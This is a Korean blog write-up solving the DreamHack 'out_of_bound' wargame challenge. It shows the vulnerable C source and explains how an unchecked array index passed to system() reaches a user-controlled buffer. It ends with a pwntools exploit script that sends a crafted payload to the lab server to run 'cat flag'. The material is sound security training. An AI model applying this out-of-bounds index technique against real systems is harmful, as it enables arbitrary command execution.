본문 바로가기

DreamHack

[DreamHack] out_of_bound

https://dreamhack.io/wargame/challenges/11/

 

out_of_bound

Description 이 문제는 서버에서 작동하고 있는 서비스(outofbound)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요. "flag" 파일을 읽어 워게임 사이트

dreamhack.io

난이도: Level 1 

#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

out_of_bound 코드를 보면 name, idx 를 입력으로 받고 있습니다.

플래그를 획득하기 위해서 system("cat flag"); 를 실행하도록 해야합니다. 

 

위 내용을 수행하기 위해, name 에는 "cat flag" 를 포함하고 idx 값을 통해 name 주소에 접근하면 됩니다.

하지만, 여기서 주의할 점은 system 함수는 문자열 포인터를 인자로 받기 때문에,

문자 값 그대로가 아닌 문자열을 가리키는 주소 값을 줘야한다는 점입니다. 

 

idx 값을 통해 name 주소에 도달해야하기 때문에  name과 command 사이의 거리를 구해야합니다. 

 

name에 "AAAA"를 입력하였고, name과 command 사이의 거리는 76 임을 알 수 있습니다. 

 

system 함수에 command[idx] 인자를 넘길 때, eax * 4 + 0x804a060 (command 시작 주소) 연산을 합니다. 

name과 command 사이의 거리가 76 이기에 76 / 4 = 19로 idx 값은 19가 되면 name에 접근할 수 있게 됩니다. 

 

초기에 설명했듯, system 함수는 문자열 포인터를 인자로 받기 때문에, 문자 값 그대로가 아닌 문자열을 가리키는 주소 값을 줘야합니다. 그러므로, name에 입력 값으로 0x804a0ac (name 시작 주소) + 4 + "cat flag" 를 주면 됩니다.

 

즉, name에 name + 4 의 주소를 넣고, name + 4 위치에 "cat flag"를 넣으면 됩니다. 

이를 코드로 구현하면 아래와 같이 구현할 수 있습니다. 

Exploit Code

from pwn import *

context.log_level = 'debug'

p = remote("host3.dreamhack.games",19598)
e = ELF("./out_of_bound")

payload = p32(0x804a0ac+4)
payload += b"cat flag"

p.recvuntil("Admin name: ")
p.sendline(payload)

p.recvuntil("What do you want?: ")
p.sendline(b"19")

print(p.recvall())

실행 결과 

 

'DreamHack' 카테고리의 다른 글

[DreamHack] baby-sqlite  (0) 2023.06.15
[DreamHack] Command Injection Advanced  (0) 2023.06.13
[DreamHack] XSS - 2  (2) 2023.06.07
[DreamHack] Return Address Overwrite  (0) 2022.11.14
[DreamHack] XSS - 1  (0) 2022.11.13